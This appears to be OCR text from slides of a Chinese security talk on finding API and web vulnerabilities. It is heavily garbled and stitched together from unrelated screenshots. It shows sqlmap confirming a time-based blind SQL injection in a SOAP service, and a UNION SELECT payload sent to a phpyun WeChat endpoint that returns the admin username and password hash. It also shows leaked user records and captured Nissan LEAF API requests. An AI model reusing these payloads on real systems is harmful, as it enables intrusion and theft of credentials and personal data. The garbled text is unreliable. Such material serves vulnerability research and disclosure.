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REMANEERXESZE, BE5EBT= | /N BSeCxCR, KX BAZ T,

=0 972 : APP + API + Add + List
2 e APP, FEREEIT -

public static String makeGetLoginInfoUrl(S5tring paramString)
T |
StringBuilder localStringBuilder = neéw StringBuilder();
localStringBuilder. append (INNEGEGEGEGEGEGEGEGEEGEGEEEEE - =i 4 . 1. 7/ services /userinfo/get");
StringHashMap localStringHashMap = new StringHashMap();
localStringHashMap.put("appid", “"price.android");

localStringHashMap.put ("USerid”, paramString);
return regroupParamslaval(localStringBuilder, localStringHashMap);

1

PHZREROF IR, R EEEWR: -

http:/ /N :apid. 1. 7/services/userinfo/get?
appld prlce andrﬂld&userld IUUOZF

[] Enable Post data  [] Enable Referrer

{"result”:{"user”: {"userid”: 10001, “userstate":0, 'mhileph-:lne 5 i I111.J-LI'.'I...=I.I:I:I-E' ﬁ headimage™ : “http://i0. N /= 1bue userheaders,/2013/1
/7/4029heTE-5612-40f2-be T-a41 1c6480421_120X120. jpg}}, ~ code 10, sage . 1.|:1|:111|:||-_- : 1478050920}
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POST /Servicel.asmx HTTP/1.1

Accept-Encoding: gzip,deflate

Content-Type: text/xml;charset=UTF-8
SOAPAcCtion: "http://tempuri.org/FCCodeTracert”
Content-Length: 384

Host: gZxijiu.cn: 82

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: close

<sgdapenv: Envelope xmlins:soapenv="http: //schemas.xmlsoap.org/soap/envelope/
<soapenv:Header /=
<soapeny: Body=
<tem: FCCodeTracerts
<!--Optional:--»
<tem: FCCodex<! [CDATA[1*] ]></tem: FCCodex
</tem: FCCodeTracert=
< /soapenv: Body>

</soapenv: Envelopes

xmins: tem="http: //tempuri.org,/ ">

SES: CG\Windows\system32\cmd.exe

custom injection marking character» ('’ > found in option ’—data’. Do you want ¢t
o process it? [¥Y/n/gql v

sglmap »esumed the following inJjection pointd{(s> fr»om stored session:=:

Parameter: Hl» {({(custom> POST>D
Type: AND/OR time—based blind
Title: Microsoft SQL Server /Suybase time—based blind
Pavload: <soapenuv:Envelope xmlns:soapenu=""http://schemas.xmlsoap.org/socap/en
ve lope /" xmlns:tem="http:/tempuri.org/"">
<soapenv :-Headex» />
<soapenv :Body>
<tem:FCCodeTr»acexrt>
<*—Optional:—>
<tem:FCCode><?[CDATAL11’ WAITFOR DELAY ’@:8:5’;——11></tem:FCCode>
< tem:FCCodeT»acex»t>
</soapenv :Body>
</soapenv :Enve lope>

[(15:88:821 [INFO1 the back—-end DBMS is Microsoft SQL Ser»ver
seb serxver operating system: Windows 28088 ox» Uista

seb application technology: ASP_.NET. ASP_.NET 2.68.58727. Microsoft 1I1IS 7.0
ack—end DBMS: Microsoft SQL Serxver 2008

e e S

turrent usex:

IIFTTITWTISTT.

.

turrent database: *QLZSex»2k’
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<>

(' 3 -dauy.com api/users

~{user’
Gd 1923001 ¢/ id)
(number> 3640281/ number>
{realName {Ig. ‘realName’
(nickname JEHPEN (/ nickname’
{income>2{ income’
(wealth>2{ wealth>
(gender>1 ' gender’
(birthday>1989-02-22¢/birthday’>
Cheight’170C height)
{education’3{ education’
(college> BEREPUER Ucollege’
{company> T3 A Z. P/ company’
{work BE3/work)
- (industryGroup’
Gd8Uid>
mc’fﬁ name/
{icom>/systen/industryGroup/icon/8. jpgl/icon’
‘rank>7{ rank>
(status’>l{/'status’
{/industryGroup’
- {loveFateApplicant’
(1d>1925001¢/1d>
{/loveFateApplicant’
(friendlapressionSize 0 friendlmpressionSize’
{constellation’>2{/constellation’
{score 20{/score’
(status’>l{ status’
loginTime? 1396441370M< loginTine>
- (location’
{country>®E{/country’
(state =2 = {/state)

htthsg/dwww.xlibao.odm/api/p2ps/2836/records/

"2015-12-10 17:03:02",

YmiE

cre

"

<> ®©lLove BIComments "

W

5]

‘amount™: 5
"create_ti 1@ 16:57:97"

ser”: *1

®@lLove RIComments
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REST

REST API
Design

GET Nasks - display all tasks

POST Nasks - create a new task
GET hasks/{id) - display a task by ID
PUT ftasks/{id} - update a task by 1D
DELETE Ntasks/(id} - delete a task by 1D

l‘ ent
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http://**.**.** ** /html/servicereq/qu
eryMessagelist?callback=angular.callb
acks. 13&reqparam=%7B%22flag%?22:
%22-
1%22,%22number%22:%2210%22,%?2
2startNum%22:%221%22%7D

Ovennew Request Response = Summary | Chart | Notes

angula allbacks d({
“resppar :

“unr adm sagenumber " : 0,
“last” [{
nt nt "
’1d~: 6618396 9"
category : 01503000",
"status®: "17%
“msisdn”:

“subject”: "F, BiIL23EH208% ., REBAREESERH 19%, MR EE639. 72 MB. 7,

“date”: "201601232030367,

“unre adm agenumber”: 0,
'llst [{
c01t nt
~1d”: 9 98 80"
category : 01900001”,
status’: “17;
“msisdn”

PR N v N _.;._Jkn e el ‘.tl‘lb.c\.@n e B AR SRR e R MR M e - = -

‘Headers | Text Hex JavaScript JSON | JSON Text o

http://**.** ** ** /html/servicereqg/confirmp

kgsub?callback=angular. caIIbacks _6f&reqpar

am {llldll II
"flowUpshiftFlag":"0", "saleld" " Neffecttime”
:{"value™:"0"},"effectperiod™:{"vaiue":"1"},"|

MonthPack™:"1", "taskld" """

B Response

angular. callbacks. 6f ({
‘respparam : {
"subscribtionstatus': 07,
”pxomMngithUrl”: gt
"downloadUrl™: "7,
"promMsg ”,
"clientId”: 77

WWw.wooyun.org
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POST /official/phyyun/upload/weixin/index. php?&sign=d435a6eddT86300dff204ee T c2ef 04 d3e9034e 26s1 gnature=18t inestamp="2dmonce=3
HITR/1. 1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Tindows NT 6.3; WOW64; xv:30.0) Gecko/20100101 Fixefox/30.0

Accept: text/html, application/shtml+xnl, application/xml;q=0. 9, #/%; ¢=0, 8

Accept-Language: en-us, en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: :

Connection; keep-alive

Content-Length: 317

(xm]>
(ToUsexName) <! [CDATA [toUser]] (/ToUsexName’
(FromUsexName (! [CDATA[fromUser ] (/FromUserName’
(CreateTime)12345678¢/CreateTine)
(NsgType (! [CDATA[text]])(/MsgType)
(Content)" )) /#k/UNION/%%/SELECT/#4/1, username, password/*#/from/**/phpyun_adnin_user/w#/8(/Content
(FuncFlag)0¢/FuncFlag)
(/xnl

HITP/1. 1 200 OK
Date: Thu, 29 Oct 2015 16:02:53 GNT

Sexver: Apache/2.4.10 (Tinb4) PHP/3.6. 10

%~Powered-By: PHR/5.6. 10

P3P: CP="NOI ADN DEV PS&1 COM NAV OUR OTRo STP IND DEM
Cache-control: private

Vary: Accept-Encoding

Content-Length: 1674

Keep-Alive: timeout=3, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=GBE

Ak EEHIE Y 123array (1) {
[0]=>
string(79) "' ))/#%/UNION/*+/SELECT/¥%/1, username, password/*%/from/*%/phpyun_admin_user)/++/4"
}
(xm]>
(ToUsexName) (! [CDATA fromUser]] '(/ToUsexliame)
(FromUsexlame) (| [CDATA [tolsez]] '(/FromlUsexName
(CreateTime) 1446134573(/CreateTine)
(MsgType) (! [CDATA [news] ] »(/MseType)

(Content) (! [CDATALY5 ["))/4k/UNTON/4%/SELECT/¥¥/1, usezname, password/*%/from/¥/phpyun_aduin_user/¥t/z] #1401 ¢ /Content ) (4rticl eCount
(Title) (! [CDATALY [ ))/ %8/ UNION/¥4/SELECT/%%/1, username, password/*¥/from/¥¥/phoyun adnin user/d/z] fiF:MM 011 >(/Title)
(Deseription) (! [CDATA[]] (/Description)
(PrcUr)) <! [CDATA[Rttp: //127. 0. 0. 1/off1c18]/phpyun/upload/dsta/logo/20150613/14380796029. PNG]] ¢ /Pictrl)

(Url) ¢! [CDATA http: //127. 0. 0. 1/off1c1al/phpyun/upload/vap/index. phpPe=jobdkerwords" )) /3%/UNTON/¥%/SELECT/¥%/] username, password/*%/from/*y

(fitem)(item)
(Titler (! [cDaTal [php FirFid)
SMEAMTT 3 Title)

(Deseription) (! [CDATA[]] (/Description)
(P1eUrl) (! [CDATA Rt tp: //127. 0. 0. 1/official/phoyun/upload/data/we/et. jpe]] (/PicUzl)
(Url) <! [CDATA [http: //127. 0. 0. 1/off1c1al /phoyun/upload/wep/index. phpPe=jobda=viewdnd=1]] (/U]
(fitem)(item)
(Title) (! [CDATA! [admin]
2123082978578 907430940 0eda801fe3] ] X /Title)
(Deseription) (! [CDATA[]] (/Description’
(PicUrl) (! [CDATA http: //127. 0. 0. 1/off1c1al /phpyun/uplosd/data/we/gt. ipel] (/P1cUxl)
(Url) <! [CDATA [http://127.0. 0. L/offic1al/phoyun/upload/vap/index. phpPe=jobda=viewlid=1]] (/Url)
(fitem)(/4rticles) (FuncFlag)0¢/FuncFlag)(/xml

eeeco HERE T  TH11:30 0 29% W )
iTEE  ixiaokggiEOMEE L
R E S ERVERAL!

")/**/UNION/**/SELEC
T/**/1,username,passw
ord/**/from/**/phpyun_
admin_user/**/#

A NIIN 2 2 A 2 <2
5 1')/**/UNION/**/SELECT/

**[1,username,password/**/
from/**/phpyun_admin_user/

**[#] 1HARAVERIL

[admin]
21232f297a57a5a743894a
0ed4a801fc3

Q) By drg




¢ ?php

function fsearchJob{($keyword))
{

tkeyword = trim($keyword);
include(PLUS_PATH."/city.cache.php”);
if($keyword)

{

fkeywords = @explode(’ °,%keyword);
var_dump($keywords);
it{is_array($keywords))

{
tforeach{$keywords as $key=>%value)

{
$iscity = @;
if($valuel="")
{
toreach($city name as $k=>%v)
{
if{strpos($v,iconv( utf-8", gbk’,trim($value)))!==false)
{
$CityId[] = $k;
$iscity = 1;
}
}
if($iscity==0)
{
$searchldob[] = "( name” LIKE "%".iconv( 'utf-8", gbk’,trim($value))."%") OR ( com name” LIKE "%".iconv( utf-8", gbk’',trim($value))."%")";
Iy
3
$searchiWhere = " "state ="1" AND “sdate <="".time()."' AND "edate >= "".time()."" AND "status «<>'1" AND "r status <>'1" AND (".implode{" OR °,$searchlot

it(!empty($CityId))
{ S48 T JLaR SQLIIELLG, it ) DB_select_all” .

$City id = pylode( ', ,$CityId);
$searchWhere .= " AND ( provinceid™ IN (".

“cityid® IN (".$City id."™) OR " three cityid™ IN (".3City id."™))";

}
$jobList = $this->

DB_select_all{"company_job",$searchWhere.” order by "lastupdate” desc limit 5"," id" , name’, com_name” "};




I Headers I TextView l WEbNE' &5 addressbook
. [ city_airport
— (1 Dept
POS‘ .a*rport:\.pp server/u —[1 Job
Client
Accept: */*
Accept-Encoding: gzip, del
Accept-Language: zh-cn
User-Agent: %E4%BA%S
Entity
Content-Length: 248
Content-Type: application;
Transport
LK Connection: keep-alive
Connection: keep-alive
Host: 112.115,106.170:8(

— & userinfo

THE

Transforms

Get Syntax\Vie

wff_ng e 2 2 iin:n_g v % |oulkaf %4 | [2) Refresh l
RecNo Tuser _pi:);in Eis_sys dlsabled date |s enabl.;cvimgl-c‘i deptReader IS _passlnvalld_ old _id :user_registDate E-user_remark :user_tel :-user_g
i-ﬁ' | - - o CllCl( here to deﬁne aﬁlter - - - “ - B
| 5967 yae 0 1899-12-30 1 (null) 0 (null 1899-12-30 1
5968 zh: p" 0 1899-12-30 1 (null) 0 (null) 1899-12-30 7. v
5969 yuar T 0 1899-12-30 1 (null) 0 (null) 1899-12-30 0f g yuant
5970 zhar | 0 1899-12-30 1 (null) 0 (null) 1899-12-30 1
| 5971 xie t 0 1899-12-30 1 (null) 0 (null) 1899-12-30 1 2,
‘ 5972 dua | 0 1899-12-30 0 (null) 1 (null) 1899-12-30
5973 lin 0 1899-12-30 0 (null) 1 (null) 1899-12-30 7 )
| 5974 wan 0 1899-12-30 1 (null) 0 (null) 1899-12-30
| 5975 fan | 0 1899-12-30 1 (null) 0 (null) 1899-12-30
‘ 5976 zhz g 0 1899-12-30 1 (null) 0 (null) 1899-12-30 71
5977 zu ¢ #5991 A, HAFENSH, B | ol 1 (null) 1899-12-30 15

| 5978 ya o | PR, FE, BAEREEE |l 0 (null 1899-12-30 71
. 5979 de (null) 1 (null) 1899-12-30
. 5980 ya 0 1899-12-30 1 (null) 0 (null 1899-12-30 :
5981 a | 0 1899-12-30 1 (null) 0 (null) 1899-12-30 7 0
5982 liu 0 1899-12-30 1 (null) 0 (null 1899-12-30
5083 we 0 1899-12-30 1 (null) 0 (null 1899-12-30 0t
5984 |i y 0 1899-12-30 1 (null) 0 (null 1899-12-30 71
5985 wa 0 1899-12-30 1 (null) 0 (null) 1899-12-30 71
5986 wal 0 1899-12-30 1 (null) 0 (null 1899-12-30 70 A |
5987 liu ¢ A\ 0 1899-12-30 0 (null 1 (null) 1899-12-30 7
5988 sopf - 0 1899-12-30 1 (null) 0 (null 1899-12-30 71
5089 r 0 1899-12-30 1 (null) 0 (null) 1899-12-30 13 1
. 599@%u - 0 1899-12-30 1 (null) 0 (null 1899-12-30
> 5991[re | - 0 1899-12-30 || 1 (null) 0 (null) 1899-12-30 |v| 08t 3035

Is Empty= WO %l{sfﬁ\_leﬂg_ﬁ:
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loV-18 1 APLEE 2 Hl =Kk B Nissan LEAFs

GET
https://[redacted].com/orchestration 1111/

gdc/BatteryStatusRecordsRequest.php?Regio
nCode=NE&lg=no-

GET
https://[redacted].com/orchest
ration _1111/gdc/RemoteACRec

ordsRequest.php?RegionCode= ~’ %
NO&DCMID=& &t B P 1 HCE -
NE&Ig_nO- &I”F"QEQ,%

- e - z=Europe/Paris&TimeFrom=201x-09- NO&DCMID=&VIN=SINFAAZEO

27T7T09:15:21 UGOXXXXX ;

2(JroEmission

u Burp Suite Free Edition v1.6.32

Burp Intruder Repester Window Hep

MyVehicle1
status: 200,

UPDATED Sep 16, 2015 03:49 PM message: 'success’,
- : — VIN 111
ESTIMATED DRIVING RANGE BatteryStatusRecords: {

Operatinnﬂesult . “START" ) REMOTE CLIMATE CONTROL
:: OperationDateAndTime: "jan 21,2016 21:47",
e BatteryStatus: {
STATE OF CHARGE BatteryChargingStatus: "NORMAL CHARGING", [B!MWWWWMM
BatteryCapacity > 12" 2 Configure the postions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are
--.........I LAAE m BatteryRemainingAmount: "12", assigned to paykad postions - see help for ful delais.
EMETY FULL BatteryRemainingAmountWH: "",

Altack type. | B

TURN CLIMATE CONTROLON 2

NissanC bnnect

@ TIME NEEDED FOR CHARGE COMPLETION Batte rynemaini ngﬂ.mﬂ'u "tka . nn

TRICKLE NORMAL 3.6 kW NORMAL 6.6 kW }"
3:30) 2:00 1:00 PluginState: "CONNECTED",

CruisingRangeAcOn: "135664.0",

CruisingRangeAcOff: "1579064.0",

NotificationDateAndTime: "2016/01/21 206:47",
NissanC'bnnect TargetDate: "2016/01/21 20:47"
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GET
/orchestration L1ll/gde/BasteryStatusRecordsRequest, php?RegionCodesNE&Lgmno-NOSDCHID=CVINSINF
MZEOVER  §3«tasBurope/PariskTimeFrows2014-08-27109:15:21 HITP/1.1
Host: .con
Connection: close
Cache-Control: max-ages(
Accept: text/htal, applicavion/xhtaltxml, application/xml;q=0.9,1inage/vebp,*/*;q=0.8
Upgrade-Insecure~Requests: 1
User~-Agent: Mozilla/$.0 (Windows NT 10.0; WOWEd) AppleVWebKit/5837.3¢ (KHTML, like Gecko)
:; ’5;0 "Ei-g. Chrome/d48,0.2564.02 Safari/537.3¢
Accept-Encoding: gzip, deflate, sdch
Accept-Langquage: en-US, en;q=0.0

ICON LEGEND







N AZMEA-Ba11L

B C WeersAdsini strataw \D l “-i ) MEB' wiwmhibaibhe com

v
y com jwmang comigeogle comflmry conln 3espay. net lgroglewnalytics com !L ]
w1y W cowm .
T gheadi baibe com 195 308 1% MR Ememcon |__hi !

| » v :‘”“ Filter: Hiding not found tems; hiding CS5 and flash content, hiding 4xx responses; hiding empty folders; matching regex /(.*)?.phpl/(.*)?.jzp

P

___.-"

Contents

FInl gawadibashe cen/

S/l giwadabaibe con/ s

F7al qvwndabasbe can/ e

Fl/ubhare gruahibaiion con/ wrta

S/ qvmabibanbe comfrar I/ v 0

FInl gruadabaiioe conSwaer Fnp/ wvan

Find mvmahaban ke comfunar fay/ el v
Finawrty ganabibai e comSunen FSIS 0/ o
F/nd gruadabas e confvamr/an/inte

JInl qrusbiabaibhe conlunar favnilable

S/l gruababar s conSuner fvers by

Slwere ol bnide s/

Flwote grunbibuie com/ wate_gusus

F/nd gvadibanbe comfwrticda/ i/ wanh
flpse griwahibalhn o/

FinZ gvababasbe con/articla/la s/ sngeea?
S inap qawalibaie cond app/ ad_revien sl
I nn : .thhuh co./n-flnl“!ul

w2 greabibaihe con 195 108 3% SIS memcos
shars giushibaihe son 1™ 00 %0 MR Esencos
wl v bai e com 195 288 151 RS emces ¥ 5 APMest
wZ ghualdbaie con 195 100 3% M. SN Ncoe

ol giushibeibe con 1S I 151 ST S ey e mcow [hL..I"I !

ey greahibai ks 195 19 2 203 198 1% 12,
¥ (&) includeAdd. htmi

ol ghuadabai e con 195 T 1% HE. SN emcos
0 {user”"smink™

w2 gheaha baihe cen 195 toe 1%) G OMeWmcos
» [ DVWS

195 18e 1% T2 M~ mcos
» | hitp:fofflintab. firefoxchina.cn

Host
hitp:iMocalhost

195 208 110 B Umemcos
195 101 118 M. Enemcon
195 100 151 R Smemcos
» 4 0 129 20 06 65, 129 29 04 04
L N: HESwWemcoos
T ST TIET 203 195 191 194 200 195 )
195 1 112 293 196 tQ n:.m lﬁl

268283 NINNTENLBUUNG

/I-‘c uubcboth WMQQWMIOQ wag wiwaha b e 195 191 &4 203 198 lﬂ a4 200 lﬁ i
J/aZ ghuadibaile conSwner /vi/ i guag Tl ags e wl qeealubaibe cen 195 100 131 ME.Swmemcas
F/nd gauadabaibe con/ wrtscl ol crentat ingures ol ghuadi bas e con O3 195 108 1% bl Se=3 T 3 Te ]
[lwwe ginshibaibe conlnest/ foredpons? wow giushibaihe con 3 195 e l'bl O Pwemnces

fE@EEEan3aagaREERuEaE

Fimng grvabhibaths conSasnsagenwner e ad” ar o
Simng wrwshibaibe conlanassagey

flong giushibaibhn confasanagen/cvaw/%a%wre
Flmasg grwshabaibe consnersages/wowr el ar oo

weg giwahabanr ks
weg wiwsha b be
g atwnhibal ks
neg gt waha bai b

-
.-
S -
-

MIﬂ
m

1 2 DU A9S 19 88, D00 1S I
Ve 191 - O3 195 191 66 200 365 14

PR 1% B | R

Finannty giuashibai ke conf/aawr byl elows _lon
Fimewrdy grwahibai e com/newr b/ fateh
S/ qinadibaie cen/pushTin

Slwwe giuahibaibe confartialw/

aearby gluabibai s o m 13 .
sasrhy sivabibaibhe oo 203 195 W k2
220 17 &0 WO

200 195 1% 1%

200 195 192 1312, 200 195 & "k, _.J !.'

MR RN emcon ) —_—

Seinies e
|| Raw | esders | e [ i | ender |

ETag: "&6f-568d86b396dfe"

Scope | request: href|callback|<xml|\{.®\} Accept-Ranges: bytes
Content-Length: 111

Connection; close
response: [(.F)2.3spl/(.*)?2.do|/(.*)?.php|/(.*)?.a5pX Content-Type: text/htm|

posh guealibai ke com
wow giushibai s oo

=
«r
-
-
| %0
| 54
| .2
s
| 54
| 88
| e
B

Burp Suite Professional v1.7.31 - Temporary Project - sm0Onk
Burp Intruder Repeater Window Help

oy | spr | scaver | e | st [ somoncr | oo | corprr [ et | opcttns | varptons | wors | sar |

Fiter: Hiding not found tems; hiding C55, image and general binary content; hiding 42 responses; hiding empty folders; matching regex hreflcallbacklfi *7.phpl( *)? j=p

Fiter by request type Fitter by MIME type Fiter by status code Folders
— r Y r Y r ¥ Az

] Zxx [success] (] Hide empty folders =html=
@ 3xx [redirection] =title=This is APl add </title=

@ [] Show only in-scope tems [f] HTML (] Other text
[] Show only requested items [«f] Script [] Images
[] Show only parameterized requests [ XML ] Flash
[ Hide not-found tems [] css [] Other binary

[] 4xx [request error]
[f] 5xx [server error] ﬁbﬂld}f?
\ J | ) this is api add ress
hosturlfapi/api.jsp
</body=

Filter by =earch term Filter by file exten=ion Filter by annotation
I Y r N

hreficallbacki/(.*)?.phpd( )2 js|

[ Show only: | asp,aspx,jsp,php [] Show only commented tems

[¥f] Regex o |
0 . ide js,gif jpg,pnag,css (] Show only highlighted items .
Case sensitive Megative search ' ' '

Type a search lerm
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Javascript
Jquery

case "a", "area”, "base", "link":
tags = []EtPing{“hre+r}
case "applet”:
tags = []string{"code”, "archive"”, "codebase™}
case "audio”, "embed”, "script”, "source”, "track":
tags = []string{"src™}
case "blockquote™, "del”, "ins", "section”:
tags = []string{"cite"}
case "body":
tags = []string{ "background”}
case "button”:
tags = []string{"formaction™}
case "command”, “"menuitem”:
tags = []string{"icon"}
case "form":
tags []string{"action™}
case "frame”, "iframe”:
tags = []string{"longdesc”, "src"}
case "head":
tags [1string{"profile™}
sep = "
case "html":
tags = []string{"manifest™}
case "img":
tags = []string{"src”,
case “input”:
tags = []string{"formaction”, "src"}
case "object”:
tags = []string{"archive”, "codebase”, "data™, "usemap”}
case "video":
tags = []string{ "poster™, "src"}

ismap”, "longdesc”, "usemap™}




[ Target T Proxy T Spider T scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts T sglmap TAHEDH&:IE ]
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http:/fi3g0mall. com: 80/shopiitem?itemid=47301 248utm_source=360guanwangiutm_medium=fenleidaohang&utm_campaign=shexiangjil 080P360 gy & http:/fi360mall. com:80/search—=http:/i360mall. com/buyer.i360mall. com/userAddress/show
hitp-/A360mall.com:Sésearch—-hiip /i360mall.comfbuyer i350mall. comuserAddressishow hitp:/fi360mall.com:80/search?cat3=201—>http:/i360mall. comifimg.i360mall. com/e99e333b-d3c0-4673-b86e-2ed6377a6972.pr
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